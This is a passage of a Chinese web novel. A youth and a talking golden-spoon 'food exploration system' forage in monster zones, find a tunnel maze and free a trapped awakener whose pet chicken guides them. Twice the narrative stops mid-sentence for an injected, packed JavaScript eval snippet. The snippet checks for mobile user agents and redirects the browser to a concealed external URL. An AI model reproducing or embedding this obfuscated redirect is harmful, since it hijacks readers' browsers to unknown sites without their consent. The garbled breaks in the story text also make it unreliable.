来自东部联盟的大小姐眼神平淡,从容的自信让她不惧于任何对她种族的评价。 见状,还想看点热闹的男生耸耸肩,没再继续那个话题,他识趣地收回了话题,转而同样有些好奇起外面人议论的对象起来。 “不过,你们族不都在东部联盟吗?怎么还有一个跑西部联盟来?” “这可不符合你们护短的性子。” 闻言,诸墨也微微皱起眉,沉尧说得对,她也很好奇为何西部联盟会出现银叶族人。从百年前他们迁移到东部联盟之后,就鲜少听说还有其他银叶族人在其他地方出没的消息。 没想到只是一次毕业考核,竟会碰巧遇到一个同族人。 听外面那些人谈话的意思,这还是个刚刚觉醒的银叶族,年纪,应该也不大。 很有可能还是未成年。 推出这一点,“护短”的诸墨顿时更在意了。 正当诸墨在思考找个时间去看看那个银叶族人时,坐在对面的俊美男生慢慢睁开眼了。 如若说刚刚闭目养神的他看起来像个矜贵少爷,那睁开眼睛的他显露的气质则是完全相反。男生一双墨色眼眸深邃平静,如同幽静潭水中亘古的玉石,在敛去容貌攻击性的同时更添神秘和沉稳。 他收回原本撑在脸侧的手,骨节分明的手指划过脸颊的瞬间。 一层淡淡的金色鳞片从皮肤浮现又消失。 “我们该走了。” 他语气淡淡地说。 7. 第 7 章 第7章 可控区856,是众多低级可控区内相对安全的一个。 区内主要分布的灾兽类型是象形和藤蔓型灾兽,大多都性情温和,只要不主动触怒,就不会平白遭受攻击。但这一前提是避开发情期。 泗黑崖的觉醒者们都明白,有发情期灾兽的可控区856是绝不能招惹的存在。 当合象群低频的叫声在墙另一头响起时,陆燃竹已经找到了第三件失物。少年的行动效率极高,对可控区内部的熟悉成了他寻找失物的利器,千千古物屋提供的临时储物工具,则成了他薅东西的好帮手。 空间大,还不用租费。 甚至能一举多得。 第三件失物是一个能随时检测周遭逆觉醒流浓度的检测器。 银白色外壳的检测器掉在了断裂墙体的夹层,表面的屏幕已经破碎,上面布满了尘土和泥垢。 陆燃竹正弯着腰试图去够。 “宿主………那是合象的叫声吗?” 金勺勺一路跟着陆燃竹,没见识过这样世界的美食开拓系统就像个贼,一路上心惊胆战,又神神叨叨,一点风吹草动都能吓一跳。 “对。” 陆燃竹脸色平静,他一点都没管那距离极近的合象叫声,发现弯腰够不到之后,他又站起身子来,薅干净了墙体周围的骨茶草。 他腰间别着一把西瓜刀,上面还有一些残余的草汁。 陆燃竹敲了敲夹层两侧的墙体,若有所思地问:“勺勺,你有没有什么能破墙的工具啊?” 少年比划着,一脸认真地做出要砸碎墙体的动作。 “宿主!你不能这么对待宝贵的厨具!” 美食开拓系统痛心疾首地看着被少年别在背后的西瓜刀,它的宝贝西瓜刀已经为割草做过贡献了! “你不是说工具都是用不坏的吗?” “用得坏!就是能修复!修复要花能量值的!” “那不就是用不坏的。” 提供能量的卷发少年双手抱胸,他诱导性地接着说,“我们得拿到失物啊,拿不到就没钱了,没钱就买不了调味料了。” 闻言,金勺勺一愣,“也是……” “你不是还说使用工具也会增加经验值吗?我这也算是使用吧。” “也……算。” “那来吧,我们得抓紧去找下一件了。” “好吧。” 金勺勺开始检索厨具库,最后给陆燃竹推荐了敲肉的锤子。并不算大的工具被陆燃竹左右手拿在手里,少年微微抿嘴,“勺勺,有没有更大的?” “没有了!” “好吧。” 得知没有,卷发少年比划了下手里的工具,试探性地对墙体砸了下。 “宿主,你这样能砸吗?” 虽然宿主手里的锤子也算是锤子,但可跟能砸墙的锤子相差甚远。 “可以。” 陆燃竹比划着又砸了几下,砸墙的声响接连不断,随着他肯定的回答声,墙体肉眼可见地出现了裂缝。 换成一般的墙体当然不能,但这里荒废近百年的墙体,风化加上草根的侵入,早就失去了之前的稳固性。 哐当一声,经历几十下凿动的老旧墙体轰然倒塌,陆燃竹最后又补了一脚,把窟窿踹得更大了点。等破开了个大洞,他才发现失物掉落的位置并不是夹缝,而是在倒塌建筑的下一层。 卷发少年见状在腰间绑了一条绳子,随后顺着往下落,等双脚触及踏实的地面,他距离失物的位置也不过三米。 几步上前捡起失物,陆燃竹把它装进临时储物工具内后才开始观察起四周。 这才发现,这建筑地下的空间是出奇的大。 大约一人半高,角落堆满了落灰断裂的杂物,还有碎石和断墙。 陆燃竹松开绑在腰间的绳子,他摁亮腕表自身随带的手电功能。 “宿主,这有人来过吗?” “当然。”卷发少年捂住鼻子掀开一个篮子,“而且来过不止一次。” 可控区存在上百年,856更是开放时间久远,不大的面积,犄角旮旯的东西都被每一代人翻个底朝天了。 陆燃竹翻动角落的杂物堆,在簌簌的扬尘中直接翻到了底部,空荡荡的,果真啥都没有。 见状,金勺勺懊恼地叹了口气。 而陆燃竹却没起身,卷发少年拨开杂物,直至墙角处完全暴露在空气之中,“别丧气,勺勺,你看。” 少年用手指轻轻扫去角落叶片的灰尘,然后翻动绿叶。 红色的果实顿时展露出来,只见灰绿色的叶片背面,分布着指甲盖大小的果实,中部凹陷,颜色鲜红,格外引入瞩目。 金勺勺不理解:“宿主,这是啥?” “就是那个啊,红皿果,我们刚刚吃的调味料的原料就是它。” 陆燃竹边回答边小心翼翼地把叶片底下的果实拨下来,放在那吃完的小玻璃瓶罐里面。 “这一小罐能卖不少钱呢,虽然比不过加工过的。” 但蚊子腿也是肉,刚刚还喝了那管营养补充剂的陆燃竹现在看哪都是钱。 【嘀——检测到调味料‘红皿果粉’的原材料‘红皿果’,是否登记为食材新种类?】 食材? 陆燃竹拿着瓶子的手一顿,他并不知道红皿果能不能作为食材,而且能作为食材的话也得经过处理吧? 没等他回答,原本还安静的金勺勺突然暴起,美食开拓系统腾地一下整个勺子贴紧了界面,连声道:“宿主宿主!快说是!” “这得经过处理才……” “可能作为新种类来满足图鉴的收藏需求啊。” 美食开拓系统浑然不知自己已经在宿主的影响下出现走偏的趋势,它接着说:“反正我们一时也不能处理食材,先收集食材满足图鉴需求升级才是首要的。” 金勺勺看着那几个上锁了的板块,它隐隐有种预感,升级一定能给系统带来某种变化,而且与其他世界的变化不一样。 “而且宿主,美食开拓本就不是拘泥于原本的食材,开拓开拓,突破于原本才是开拓的真正含义。” 正如它去往其他世界收集新的美食,便是开拓的一层含义。尽管表面上看似是图鉴收集,但对金勺勺来说,收集主神世界所没拥有的美食,也是另一层含义的开拓。 虽然费斯拉大陆的食材困于逆觉醒流的囚笼,没能达成它一贯的开拓形式。但或许这也是冥冥之中的缘分,让它和宿主探索开拓的真正含义。 去探索这片大陆上什么能作为食材,去开拓各种各样的美食。 当然,现在对它和宿主而言,最紧迫的是升级和赚钱。 陆燃竹脑子转得很快,尽管金勺勺说得话文绉绉的,但他还是抓住了重点,就是能不能作为食材根本不是首要的,满足升级的需求才是。 卷发少年稍微一沉吟,然后非常迅速地从临时储物工具中拿出刚刚顺手收集的各种东西。 他将它们统统倒在地上,一本正经地说,“既然要达到图鉴的收集目的,那这些东西也存在成为食材的可能性。” 所以都可以收集。 他话音一落,一连串的提示音便在他和金勺勺的耳边响起。 【嘀——检测到新种类‘红皿果’,理解度+5,经验值+5,积分+5。】 【嘀——检测到调味料‘红皿果粉’与新种类‘红皿果’存在联系,已归纳,‘红皿果’理解度+10,经验值+10,积分+5。】 【嘀——检测到新种类‘骨茶草’,理解度……】 【嘀——检测到新种类‘天壤’,理解度……】 【嘀——检测到新种类‘回风草’,理解度……】 一连串的嘀嘀声,把陆燃竹一路上所采集的库存全部化成了经验和积分,直接一下子把美食开拓系统的等级升到了二级。 【您已升级,当前等级为美食开拓者二级!】 金勺勺非常满足,它总算找到了前期升级的途径,这样一来,等它升级解锁更多能力,就能帮上宿主了。 陆燃竹也很满足,收集来的东西不仅能去觉醒协会兑换成积分,还能满足金勺勺的升级需求,一举两得,他觉得十分划算。 至于后面食材收集完了该怎么办? 嗯,人不能吃的话,给灾兽吃也是可行的。 卷发少年黑心地想着,他再度把地上的库存收集起来,然后举起西瓜刀,对着墙角比划比划。 他试探地问:“那……我继续用挖啦,红皿果的旁边一般长有浮叶根,那也能换……不,也能归为食材。” 看到宿主即将再次霍霍厨具的金勺勺面色便秘,它在保护自己的良心和获得经验上不断纠结,随后狠心道:“挖,我这还有小铲子。” “这也是厨具?” 彻底放弃良心的金勺勺:“不,这是餐具。” 手持两把黑色小铲子,陆燃竹直接下手。红皿果植株旁侧那略带潮湿的土壤被小心地铲开,伴随着卷发少年动作的越发熟练,很快那块地方就被挖出了一块窟窿。 浮叶根外表是土黄色的,细密的根系藏在土壤里面,一不小心就容易铲断了根。陆燃竹小心翼翼地下手,连附近的黑土也不放过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338384|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,用一个大布袋直接兜了。 期间忘本的金勺勺还不忘精神鼓励,一人一统直接把原本被杂物掩埋的墙角挖出了半人高的洞口。 “咳咳咳——” 最后一铲铲下,原以为坚实的土壤层突然坍塌,低头正挖着的陆燃竹直接被土浇了满头,他咳嗽着扫去自己头上和脸上的沙土,骤然发现这处空间之下还有一层。 不,不能说是一层,而是一条狭长的甬道。 卷发少年弯腰往下探,他顺着手里浮叶根的根系轻轻扯动,发现根系的另一头已经延伸到甬道内部。 金勺勺好奇:“宿主,这是密道?” “不是。”陆燃竹跳下甬道,他观察下甬道周围的痕迹,道:“这是痕叶藤的痕迹。” 痕叶藤,可控区856内的一种大型藤曼型灾兽,藤条为黑色,其根系不在地下而是在地上,常为蓝黑色的大型伏地花,拥有移形,布置陷阱的能力,一贯会用伏地花展露觉醒石内核,引诱猎物进入其陷阱范围,将猎物拖入甬道吃抹干净。 眼前这条狭长的甬道便是其藤条的隐藏之处。 陆燃竹看了眼手里根系的长度,果断在甬道附近用铲子铲断,然后开始往上爬。 金勺勺见状诶了一声,“宿主,我们不继续挖吗,断在这多可惜啊,断了就卖不出好价钱了。” 闻言陆燃竹半点都没停下,仍旧手脚并用地往上爬,“打不过,痕叶藤是可控区856危险性排名第二的灾兽。” 他话还说不到一半,一声令人起鸡皮疙瘩的尖叫便从甬道另一头传来,陆燃竹听到手一顿,随后往上爬的速度更快了。 “你看,我说很危险吧。” 金勺勺也急了,连道:“那我们快走!” 只是当卷发少年爬上甬道后,没等抬头,一声巨响从他刚刚放绳索的位置传来。一人一统抬头一看,一只硕大的象腿哐当一下踩穿了墙体,属于合象的两条鼻子已经有一条探了下来。 见此陆燃竹手猛地一松,赶在鼻子朝自己方向转过来之前把自己摔进甬道中。 “宿主!?” “难办了。那是危险度排名第一的。” 卷发少年拍干净自己身上的泥土,眼神略带不舍地看了眼自己那根已经稀巴烂的绳索,叹息道:“可惜了。” 前有狼后有虎。 没见过这等场面的金勺勺无声尖叫,它开始惊慌地翻找系统内自动保护系统的条例,希望能从中找到保护宿主的武器。 “宿……宿主,不用担心!我能保保保……” 它结结巴巴地说。 而陆燃竹的脸色却挺平静,他就地一滚,把原本脏兮兮的自己变得更脏了。 “勺勺,不用慌,给我找把武力高的厨具。” 闻言金勺勺一喜:“宿主你能打得过痕叶藤吗!?” 陆燃竹实诚地摇头:“打不过。” 卷发少年对自己的实力很有自知之明,因为有能适应可控区的身体优势,他能比其他人对区内情况更为了解,但更为了解的同时也对自己与其他觉醒者、与危险灾兽的差距认识得更清晰。 打不过是肯定的,但躲还是躲得过的。 陆燃竹窝在甬道内,用泥土来减弱自己的气味,预备等这头巨象离开。 可计划赶不上变化,只见那头合象几下踏平这片空间后,其身后又出现了一头合象。随着渐渐加大的脚步声,合象自身携带的能力也逐渐展现在陆燃竹的面前。 阵阵冷气伴随冰晶在空气中弥漫。 感受到寒意的瞬间,陆燃竹突然有种不好的预感,下一刻,他便清晰地看见了这两头合象的性别特征。 眼见那直白的、不加掩饰的暧昧情节即将在自己眼前上演,陆燃竹脸色难看地带着金勺勺躲回了甬道内。 恰逢临时储物工具也似有东西在震动,少年小心翼翼地拿出来一看。 是那枚检测器,破碎的屏幕正一闪一闪,刚刚还一副完全报废的模样,此刻却像突然回光返照,清晰地履行自己的职责。 大大的红色警告加之高出可控区856平常的数值。 向陆燃竹直白地宣告此刻的情况。 可控区856内逆觉醒流浓度突升。 原本早该结束发情期的灾兽群又陷入了暴躁的发情期中。 【警告……请……浓度……异常,请尽快……离开……】 手里的检测器最后挣扎了两下,随后彻底灰暗了下去。 陆燃竹一脸便秘,他真觉得自己或许真得去找拥有运气类天赋的觉醒者们转转运了。 有点太过倒霉了。 8. 第 8 章 第8章 那处空间最后还是被两头发情合象所占据,熟知这类灾兽发情周期的陆燃竹只能另寻出路。腕表的手电亮起,一人一统很快沿着潮湿的甬道一步步往里走。 黑漆漆的甬道内,到处都是湿答答的黏液。 一不小心踏进某个水洼,陆燃竹再次庆幸自己还带了一双鞋子,他用力拔出陷入湿泥的脚,左手持着金勺勺倾情推荐的砍骨刀,右手上拿着用来引路的回风草。 回风草是可控区内常见的一种灰色植株,它们对气流异常敏感,常生长在迎风处,若天色暗些,便能从它那问号状的外表看到点点荧光,备受一些园艺爱好者的喜欢。 但放在阴暗潮湿的甬道内,便成了引路的好向导。 站在岔路口,陆燃竹再次借它识别出方向。见散发绿光的回风草缓缓偏向左侧,一人一统很快又寻着新的方向继续前进。 负责警戒的金勺勺从一开始的惶恐不安,到现在,已经能够提醒宿主不要漏掉甬道路上可以顺走的东西,适应力堪称一绝。 就是本职的工作做得不太及时。 弯腰躲过一群被惊扰的蝙蝠群,陆燃竹扶着湿润的墙壁在金勺勺匆忙的道歉声中笑了一声,卷发少年脸上毫无对美食开拓系统的责怪。 习惯自小一人的他这两天过得异常热闹,但他意外不讨厌这种感觉,只觉新奇。 “宿主,你说我们回去的话,那两头合象会不会走了?”金勺勺仍抱着侥幸地问。 陆燃竹:“嗯,但合象的发情期最短也是三天,我们回去的话,大概会被踩扁吧。” “好吧,当我没问。”金勺勺默默闭上嘴,知道自己又问了个蠢问题。 美食开拓系统今天第一千次深刻感受到自己对宿主的无用,这放在以前,是绝对不可能的事情,可谁又能算到,自己这次进入世界会发生那么多意外。 敏锐感知到金勺勺的失落,陆燃竹下意识想寻着些能让美食开拓系统感兴趣的话题,却在触及墙壁上的某处痕迹时骤然停了下来。 卷发少年没继续往前走,他伸手摸着墙壁上坑坑洼洼的痕迹,抬头看向前方那黑漆漆的、仿佛没有尽头的甬道。 金勺勺见状疑惑问:“宿主?” 陆燃竹语气轻飘飘的,“勺勺,你知道我们进入甬道后走多久了吗?” “知道,一共一小时34分。” 一小时34分。 陆燃竹手一顿,他环顾周围的环境,一股莫名的异样感开始从内心深处蔓延开。因着身体的优势,少年对可控区的熟悉程度要远远优于一般的觉醒者,可控区856对他来说更是如此。 陆燃竹来过可控区856多次,对它的具体边界了如指掌。一小时34分,在这一小时34分之中他和金勺勺几乎都没有停歇,按他自己的前进速度,排除一些岔路口带来的路线偏移的话,他已经快接近可控区856的边界。 可眼前的甬道却依旧没有穷尽。 这是个异常的情况。 他一直在朝北走。 而可控区856的北部是可控区752,虽同为低级可控区,但它与高级可控区相比邻,区内的灾兽生态链更加复杂,甚至还存在痕叶藤的天敌。按道理,低级的痕叶藤是不可能存在可控区752内的,而眼前的情况,却给出了与推论截然相反的答案。 这株几乎贯穿整个可控区856的痕叶藤不仅占据了整个856,还涉及了752。这绝不是低级痕叶藤能做到的事情。 意识到事态可能发生了变化,陆燃竹再次在脑里模拟着自己来时的路线,可再三计算,也只有那一个结论。 觉醒联盟曾在联盟建立之后,根据觉醒者等级体系对灾兽的等级进行分类。例如觉醒学徒对应学徒级,觉醒精英对应精英级,再往上便是首领级、领主级、天灾级和风暴级。 低级可控区分布的大都是学徒级,中级是精英级和小部分首领级,高级则是首领级和领主级,再往上的天灾级和风暴级,这种等级的灾兽不是可控区能管控的灾兽类型,那存在于未知区,更加危险。 而眼前这座甬道迷宫的主人,这株痕叶藤肯定不是学徒级的,它远高于学徒级,或者是精英级,甚至是首领级。 精英级的痕叶藤已经拥有了空间能力,已经远远高于陆燃竹能应对的范畴。少年能躲过学徒级痕叶藤,并不意味也能应对精英级的,这根本不是一个概念。 察觉自己处境的困难,陆燃竹的脑袋异常清晰。 他简单告诉金勺勺自己的发现,同时开始往回走,试图再次寻找痕叶藤在可控区856内的其他出口。 只是当他转过身,还没抬脚的瞬间,一股剧烈的疼痛突然在眼部炸开,熟悉的感觉比昨日更加强烈,陆燃竹控制不住地闷哼一声,脸色骤然变得煞白。 “宿主?怎么了?”金勺勺关切的声音响起。 可陆燃竹没有力气来回应它,卷发少年竭力放松呼吸,将自己从突如其来的疼痛中适应过来,他挣扎地睁开眼睛,果不其然,眼前的世界再度发生了变化。 光怪陆离的色彩再度充沛整个视野,墙壁消失不见,取而代之的是简单的线条和浮动其上的颜色。 陆燃竹回头看着可控区752的方向,不出意料,前方的甬道线条更是无穷无尽,揭示刚刚推论的正确。 他半眯着眼睛,艰难从复杂的颜色中辨别出自己能处理的信息,当眼皮落下再撑开时,那些干扰的颜色信息骤然消失,像是遵循陆燃竹自己的意识那般发生了变化。 骤然减少的信息也让卷发少年有了适应疼痛的空间。 他深呼吸着站起身,喘着气看着周围和远处。密密麻麻的,代表危险的红色由近及远的,从点状变成片状,其中还夹杂着丝丝缕缕的黑色流光。 陆燃竹盯着距离自己不远处的地面,那团红色能量团正在蠕动和扩散。 他有预感,那将是痕叶藤留下的空间接口。 而像这样的能量团,单是自己周边百米范围内,就不下十个。 这是个十足的坏消息。 陆燃竹收起回风草,在金勺勺越发紧张的关切声回答:“没事,勺勺,我只是……看到了一些东西。” “东西?危险吗?” “危险,很危险。” 卷发少年虚虚地摸着自己那像是开了天眼的眼睛,虽然疼痛,但他也得庆幸,自己那充满秘密的眼睛异变的正是时候。 大大增加了他逃出甬道的可能。 陆燃竹站直身子,他看向可控区856的方向,与752的方向相比,856的颜色信息更加精简,他扫视一圈,却除了那处被合象占据的空间,没瞧见任何类似出口的颜色标点。 这样的话,他就只能继续往前走了。 “勺勺,我们继续朝前走吧。”陆燃竹果断下决定。 “可宿主,往前走不是充满危险吗?” 危险?当然是。 但往回走他们也无法解决那两头发情的合象。 “赌一把吧。” 少年转动手腕,他很清楚,在这犹豫还不如付出行动,去寻找新的出路。 而对于宿主的提议,金勺勺也立马赞成。 “那我们继续往前走吧,宿主。”美食开拓系统要义的第一条便是要信任宿主,成为宿主的得力伙伴。尽管金勺勺目前还做不到后半部分,但它一定会完美履行前半部分的! 一人一统相互鼓励,陆燃竹抬步朝前走,他从856进入了752,也默默记住了回到刚刚那个出发地的位置。 做全后路的准备。 有眼睛的助力,陆燃竹在甬道内的行动几乎畅通无阻,不需要回风草,哪里是死路,哪里有危险,都一目了然地展现在他的眼前。 运气仿佛在此刻降临到陆燃竹身上。 卷发少年持续在752内深入半小时,那时刻充满着疼痛的眼睛也丝毫没有罢工趋势,反而越发受陆燃竹自己的驱使。 在拐过又一个弯道后,熟悉的颜色信息突然在前方发生了变化,陆燃竹停下了脚步,和金勺勺一样出现了错愕表情。 安静的甬道内,他们第一次看见了和他们一样,相对干净的生物。几乎到陆燃竹膝盖高的禽类离他们足足有五十米远,红色的鸡脚一抬一放,看起来有几分难以形容的惬意。 “宿主……那是只鸡吗?” 金勺勺不确定地问着,它看着那只颜色灰扑扑的禽类,犹豫地问着。 可开了‘天眼’的陆燃竹回答不了,那只在金勺勺眼里像鸡的生物,在他的眼中只是一个绿中夹蓝的能量团,连鸡的形状都看不出来,还拖着一个蓝色的线条蔓延到甬道的其他地方。 “长什么样的鸡?它在干什么?” 陆燃竹问道。 “就是一只不断啄着地面的鸡。”金勺勺没在意宿主话中奇怪的表述,勉强用以前经过世界里面的鸡来代替,虽然这鸡很胖,毛发看起来更是毛茸茸的。“它好像在找什么。” 找什么? 陆燃竹抬头看了地面之上那些属于灾兽的能量团颜色,又仔细看了看那鸡尾巴,应该是鸡尾巴的,那条扩散出去的蓝线。 “它应该是有主人的觉醒兽。” “觉醒兽吗?这地方居然有这种东西。” 看过觉醒腕表中的资料库,金勺勺自然知道觉醒兽是什么。有些觉醒者会觉醒御兽类天赋,这类觉醒者有些能控制灾兽,有些则是能召唤出异兽。与灾兽不同,异兽依靠主人体内觉醒力而显形,这类异兽被统称为觉醒兽。 御兽类的天赋并不少见,但在这处危机重重的甬道迷宫内,能遇见一个,这概率可就低了。 正当一人一统犹豫着要不要绕过它时,那只鸡突然抬头咯了一声,然后目标明确地朝陆燃竹跑来,两脚迈动之迅捷,让陆燃竹猛地后撤了一步。 “宿、宿主,打得过吗?” 金勺勺连忙在工具库里面给陆燃竹找武器。 而陆燃竹闻言却语塞了。 他现在,可能连一只鸡都打不过。 但这只鸡,好像没有什么恶意。 视野中,充满绿光的鸡咯咯咯地刹停在陆燃竹面前,黄色的眼睛在卷发少年身上打量了一番,甚至绕着陆燃竹转起了圈。 咯吱—— 随后是一道响亮的鸡鸣,应该是鸡鸣,眼前的这只觉醒兽像是笃定了什么,不绕圈了,反倒在陆燃竹面前咯吱咯吱地叫起来,就跟说话似的。 一时间,寂静的甬道中,只存有节奏的鸡鸣。 陆燃竹一开始还试图辨认,在再三尝试后,他认真地问金勺勺,“勺勺,你会鸡语吗?” 金勺勺:“……” 它是美食开拓系统!不是动物保护系统! 灰鸡咯吱咯吱说了半天,见眼前的卷发少年毫无反应,那个圆圆的鸡头疑惑地歪了歪。随后像是终于反应过来,眼前人并不像自己的主人能听懂自己的话。 灰鸡沉默了,扑腾了几下翅膀,开始在地上用鸡脚画画。 但现在开了‘天眼’的陆燃竹:“……” “勺勺,翻译一下。” “宿主,这么简单的画你都看不懂,真是的。” 迟钝的金勺勺还是没察觉出来,它故作扭捏,实则兴奋地说了一句,然后抱着终于能为宿主出力的熊熊动力辨认起灰鸡的画来。 通过鸡脚和勺嘴的两番转达,陆燃竹终于明白了灰鸡的用意。 它那倒霉的主人被痕叶藤吞了,它需要去救它。 这需要陆燃竹的帮忙。 充当翻译器的金勺勺翻译完还不忘评论此建议的可行性,“这鸡也是只不聪明的,在这甬道内,宿主怎么能找到它的主人呢,这甬道迷宫这么大,宿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338385|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主还打不过一只鸡。” 看着那条蓝线的陆燃竹:“……” 他还真能找得到,而且这鸡不是普通的鸡。 “勺勺,我还真能找。” “!?” 迟钝的金勺勺终于反应了过来,宿主从那个异常反应后突然就不需要回风草了,现在还需要它来翻译这只灰鸡画的话,明显很不对劲。 “宿主?你眼睛怎么了!?” “嗯。大概是觉醒了什么能力吧,你可以理解开了天眼。” 陆燃竹蹲下身,他边说着,边对准鸡头,缓缓地点了点头。 “天眼!?这是你的天赋吗?不对啊,宿主你昨天才觉醒天赋,没那么早结束萌生期……” “这是怎么回事!” 金勺勺一连串的问题顿时像机关枪一样往陆燃竹丢过来,卷发少年下意识想挠挠自己的脸,又想到自己那啥都碰过的手,默默又收了回来。 “等出去跟你说,这天眼可能有时限。我们尽快找到这鸡的主人,多个同伴有个保障。” 自己刚刚觉醒,要在这危机重重的迷宫中走还是太过危险。这只灰鸡能在脱离主人之后还独自行走在这迷宫甬道之中,其能力绝不是普通级别。 陆燃竹替灰鸡找主人也存在目的性,他自认为不是什么好心人。 如果灰鸡的主人还活着甚至能力很强,他们也可以考虑返回那处隐蔽空间,去跟发情的合象干仗。 而听到天眼有时限,金勺勺也不追问了,连忙催促起了陆燃竹。 “那宿主我们快走!” 那只灰鸡比陆燃竹想象中还要通人性,他只是冲它点点头,那鸡就不再咯咯叫了,反倒走到了陆燃竹身后示意其赶紧行动。 好吧,先找人。 陆燃竹开始沿着那条若隐若现的蓝线在甬道迷宫中找起来,同时不忘看看有没有类似出口的颜色信息。 那条蓝线的终点要比陆燃竹预想中要近,或许是那只灰鸡有什么能力,又或许它已经找了很久,属于灰鸡主人的色块大约就在陆燃竹与灰鸡相遇的三百米处。 只是灰鸡主人所在的位置,有一点尴尬。 停在一根插在墙壁里的,足足有半人宽的藤条面前,陆燃竹低头和灰鸡进行确认。 主人与觉醒兽的联系比旁人的认知还要深刻,几乎不等陆燃竹开口说话,灰鸡就知道主人在藤条里面,它红色的喙开始不断地在坚硬的藤条表面啄动,发出邦邦的响声。 见状,没有天眼和契约的金勺勺也明白了灰鸡的主人在眼前的藤条里。 “宿主,要我给你指导吗?” 深知自家宿主现在看不清实物,金勺勺询问的语气中还带有跃跃欲试。 只是它没等到陆燃竹的回答,卷发少年思索片刻后便举起砍骨刀果断下手,快准狠地扎进坚硬的藤条,那股狠劲,给金勺勺和灰鸡都吓了一跳。 咯! 灰鸡甚至都停下它那没用的拯救行动,转头开始小心翼翼地盯着少年那犀利的落刀位置。 噗嗤一声,流出来的水是淡蓝色的。 金勺勺和灰鸡顿时松了一口气。 而下一刻,陆燃竹没有停下地开始拉动砍骨刀,他盯着那个挺清晰的人形绿色色块,脸色平静地从上到下,硬生生地在藤条上划拉出个人形缺口。 藤条的坚韧性其实有点出乎陆燃竹的意料,他的刀行到半路时,刀口很明显出现了缺口,到后面全靠蛮力。 掀开藤条表皮,金勺勺提供的砍骨刀也彻底报废。 “勺勺,他主人还有呼吸不?” 陆燃竹边拿着藤条表皮往临时储物工具里面塞,边问道。少年脑门全是汗,既有刚刚出力流的汗水,也有那眼部疼痛带来的冷汗。 他塞得有些艰难,千千古物屋的临时储物工具毕竟有限,加上他和金勺勺随处见随处薅,里面的空间都已经满了。 而负责描述的金勺勺看着眼前的灰鸡主人,想给陆燃竹形容却一时找不到什么形容词。 无他,灰鸡主人的姿势实在是有些太中二了。 单手张开,脸色也带着悲痛不舍的夸张表情,这汁液也不知怎么回事,把人家瞪大含泪双眼的细节都保留了下来。 “呃——他还活着。” 金勺勺话音一落,焦急的灰鸡早已用喙啄开了包裹主人的液泡。 透明薄膜一破开,里面的汁液便争先恐后地流出来,等液体排空,金勺勺和陆燃竹才发现眼前这人还有一层透明的防护罩。 像是识别到危险解除,那层防护罩也应声破裂。 哐当一下,昏迷中的男生毫不留情地摔倒在地,以那个中二的姿势。 陆燃竹不知还有液泡的存在,匆忙之下来不及后退,直接被那汁液浇了半身,他手触碰到自己黏糊糊的衣服的瞬间,还闻到了一股并不好闻的味道。 卷发少年顿时脸有点僵,他的确不怕脏,但他怕臭。 这股臭味,甚至熏退了心系主人的灰鸡,还熏醒了灰鸡的主人。 “呕——” 陌生的呕吐声一出来,刚刚还忍得住的陆燃竹顿时喉头一紧,脸色更加苍白。 扈可为从未闻过这样难闻的气味,简直比乎乎雉的屎还要臭。浑身布满黏液的他生理性地呕了好几下,才逐步清醒过来。 他抹去脸上的粘液,才发现距离自己好几步的地方,还站着个卷发的少年。 和自己一样脏兮兮的,看起来不是好招惹的类型。 卷发少年僵着身子,苍白脸上是肉眼可见的嫌弃。而自己最爱的阿灰则离自己好几米远,毛茸茸的绒毛也被不知名液体浇了半身,正嫌弃地咯咯直叫。 “你好臭!” 自家觉醒兽的清晰且大声,无情且残酷。 这让绝处逢生的扈可为顿时破防,他大喊:“我不臭!是痕叶藤臭!” 9. 第 9 章 第9章 “我不臭!” “咯咯咯——” “不臭!” 扈可为和灰鸡的吵架还在继续,安静的甬道迷宫内,一时只有他和灰鸡咯咯咯的叫声,慷慨激昂,就是吵架内容十分没智商。 陆燃竹没管扈可为和灰鸡,他正拿着金勺勺给的厨房纸艰难地处理湿透的衣服。 一人一鸡吵完架后,才终于想起旁边还有一个陌生人。扈可为吵架也不忘记向阿灰了解他被抓之后的事情,也明白眼前的少年是救了自己的人。 少年看起来不太好惹,但是个好人。 觉醒兽愿意亲近的都是真诚友好的人,阿灰更是如此,扈可为十分了解自己的觉醒兽,那只毛茸茸的小灰鸡对人最为挑剔了,能被它夸,眼前这人肯定是个顶顶的好人。 先入为主,扈可为不好意思地擦干净自己的手,真诚地朝陆燃竹说道:“兄弟,谢谢你啊。我听阿灰说了,是你带它来找我的。” “我是扈可为。” 一旁的灰鸡也朝陆燃竹点点头。 “陆燃竹。” 面对扈可为的谢意,陆燃竹则摇了摇头,直白地说道:“你身上还有防护罩,就算我不来找你,你自己也留有后手,你的觉醒兽也能找到你。” “但你还是帮助了我们。” 扈可为当时丢阿灰的确是抱有让自己的觉醒兽找到自己的想法,只是他自己也知道,这种想法存在赌的成分,阿灰的能力是隐形,并不是什么富有攻击性的能力。 小小的、爱干净的灰鸡能在甬道内安然无恙便是难事,更何况那藤条那么硬,就凭阿灰也不能这么快地把自己从里面救出来。 自己能获救,运气算一部分,阿灰遇到陆燃竹,而他愿意伸出援手,则是大部分。 “冲你帮了我这一点,我欠你个人情。” 扈可为对觉醒腕表的目光,也让陆燃竹想到了他与其他人的不同之处,卷发少年眼神也跟着落在扈可为的腕表上,他低声问:“你的时间,还有多少?” 